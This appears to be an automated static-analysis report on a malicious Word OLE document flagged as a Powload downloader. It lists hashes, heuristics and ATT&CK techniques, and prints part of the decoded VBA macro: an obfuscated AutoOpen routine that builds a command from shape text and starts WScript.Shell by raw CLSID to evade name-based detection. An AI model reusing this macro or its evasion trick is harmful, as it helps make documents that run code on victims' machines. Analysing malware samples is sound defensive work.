Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c562d51cd490dee1…

MALICIOUS

Office (OLE)

143.1 KB Created: 2018-11-28 06:38:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: 6e13facc1d5ebdb9ad597005880a9618 SHA-1: c26c767902eab42fbfecbb543ddbd06365307e9c SHA-256: c562d51cd490dee1caae145984d86d93eb0598b9768e65764c98a7062b0b0a23
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.011 System Binary Proxy Execution: Rundll32 T1059.003 Windows Command Shell

The sample contains a critical heuristic firing for instantiating the dangerous COM class 'WScript.Shell' via its CLSID. The AutoOpen VBA macro is present and likely attempts to execute commands or download additional payloads. The presence of 'WScript.Shell' and the AutoOpen macro strongly suggest an attempt to execute arbitrary code.

Heuristics 7

  • ClamAV: Doc.Malware.Powload-6826398-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Powload-6826398-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA instantiates a dangerous COM class by CLSID critical OLE_VBA_GETOBJECT_CLSID_DANGEROUS
    VBA uses GetObject("new:{CLSID}") to instantiate an execution/scripting-capable COM class by its raw CLSID, avoiding the CreateObject ProgID that name-based detection keys on.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6864 bytes
SHA-256: 9919beb3755bd4a9f8b5bf1737e16be57d0380ea3d20b23e692f2063a020b56a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "BzODzkBN"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   On Error Resume Next
Select Case DNwiwGc
      Case 110562042
         DjJAj = CBool(TjZVff)
         afYsjf = 199118286
      Case 120143625
         QffEv = Atn(KJooWPo)
         kznXhq = Atn(117020577 * CLng(122217114))
   End Select
         For Each zjmTJDW In moBQiUcQr
         QhrJElQ = uwIwbkzB * CDate(UJHAGRrj * nwGdKGq) * BlnpiA / Sin(WIaop) / QScoHH + 232769689 - 138574424 + Chr(66955860) + (zZiwRj * lBGHiM)
Next
   On Error Resume Next
Select Case sZOGIrlu
      Case 326949927
         FAHVjV = CBool(OYwJJtLw)
         bXuMfnq = 308315021
      Case 337489584
         WjrYcwOju = Atn(zihKCqQq)
         jfCJfPN = Atn(2016227 * CLng(243991620))
   End Select
         For Each RKMWmwBX In TNvJQRjtp
         KoWzXQPT = LJOvdAc * CDate(kMvMAT * XKnVlr) * WYQauuLpG / Sin(fbLpERS) / nwvhu + 155972209 - 60166520 + Chr(140540184) + (bNcth * MmqfCFiI)
Next
   On Error Resume Next
Select Case zMmkj
      Case 295643358
         TctjhIY = CBool(GEIsG)
         NHCiL = 71604706
      Case 178241520
         VzNEq = Atn(BzfXM)
         hwcGBF = Atn(39082547 * CLng(26556637))
   End Select
         For Each DXrhFj In kBUiz
         HwWdRS = GYlfr * CDate(PivjFEX * SZWWkVvPi) * iQWrj / Sin(YomAGimL) / jUaoUOda + 102365760 - 269160415 + Chr(147773796) + (GjzHruiBa * XzKIRRWpn)
Next
   On Error Resume Next
Select Case EiBSREr
      Case 325842126
         rqljBawsb = CBool(FzwJKdrcq)
         UmiaA = 322803614
      Case 3130424
         GOsvSoDI = Atn(LTMiwiiXa)
         ZqpZc = Atn(8554190 * CLng(301751895))
   End Select
         For Each EHKjEaI In NBKhJGBi
         IdZWDzCZ = bwQoPuYMw * CDate(ofOlV * VhNtwS) * LtTXUFBI / Sin(GNzLU) / lQIwHAp + 334188 - 303112609 + Chr(290623796) + (JiSpj * IIFuwWEGz)
Next
Set qIEizqDtN = Shapes("VzjnhsrIM")
   On Error Resume Next
Select Case IobOq
      Case 243120048
         bIiur = CBool(kZBmNGkj)
         qNpXcrNCG = 163039656
      Case 211696002
         HoJomzB = Atn(zMzhqEh)
         BsvfaK = Atn(324205783 * CLng(91393562))
   End Select
         For Each TIJOGYV In Oclswb
         jMwiP = jXKzB * CDate(dAvzqv * TprJso) * WccvYCR / Sin(wOMTwQmk) / RFKsLSfuw + 226151421 - 52459493 + Chr(122108316) + (CFpnlEvPY * wqDjlXzzj)
Next
GMHWrbwzU = "" + UFLGd + ndjLJwAb + ipjsHOB + qIEizqDtN.TextFrame.TextRange.Text + uWwiaNz + LDauwO
   On Error Resume Next
Select Case lwVWVv
      Case 237648596
         rDPpUr = CBool(fPLYnDC)
         CsInBQXG = 57381375
      Case 126063267
         BUmhRvlb = Atn(YQUvXzhw)
         ZBHjJS = Atn(198563354 * CLng(91908911))
   End Select
         For Each iDUzG In fpItitd
         cQOmX = PCjZpj * CDate(iSKTDD * DXRaJwQi) * oQXvziSvj / Sin(BrjUu) / XEzWz + 167871519 - 199837746 + Chr(271242100) + (wEwocZwhL * IRnSDzPnz)
Next
Set lOUdzj = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8" + WDXSmtTMt + liGAaT + DjFKV + lqjltWh)
   On Error Resume Next
Select Case CTRqY
      Case 19269407
         qJaXpu = CBool(XDfFDRmV)
         DnYUPUuzj = 149632523
      Case 125943163
         pIwmZ = Atn(FCzCCqbi)
         KwqwVjZ = Atn(89050481 * CLng(22134342))
   End Select
         For Each hBVPc In TblhvjSd
         jTwBkht = vjztZzUQ * CDate(vmrnknUPj * qwdifN) * pNcMST / Sin(QafdttdR) / Aljlpw + 213605158 - 182501544 + Chr(250228584) + (SCoRF * jGIGni)
Next
   On Error Resume Next
Select Case cPamI
      Case 74826956
         QvziiH = CBool(PNzLk)
         sLFIQJGU = 51358557
      Case 112378627
         NnJKFks = Atn(zvSWn)
         BJHQQKcbk = Atn(80304901 * CLng(115112302))
   End Select
         For Each SVwFzI In dVvwsKd
         Anqao = ROAwDr * CDate(slDzs * SWLszJsJV) * LOGnD / Sin(otmdtAG) / GuRYljsBz + 101982266 - 71565132 + Chr(245146613) + (vtQwHwIp *
... (truncated)

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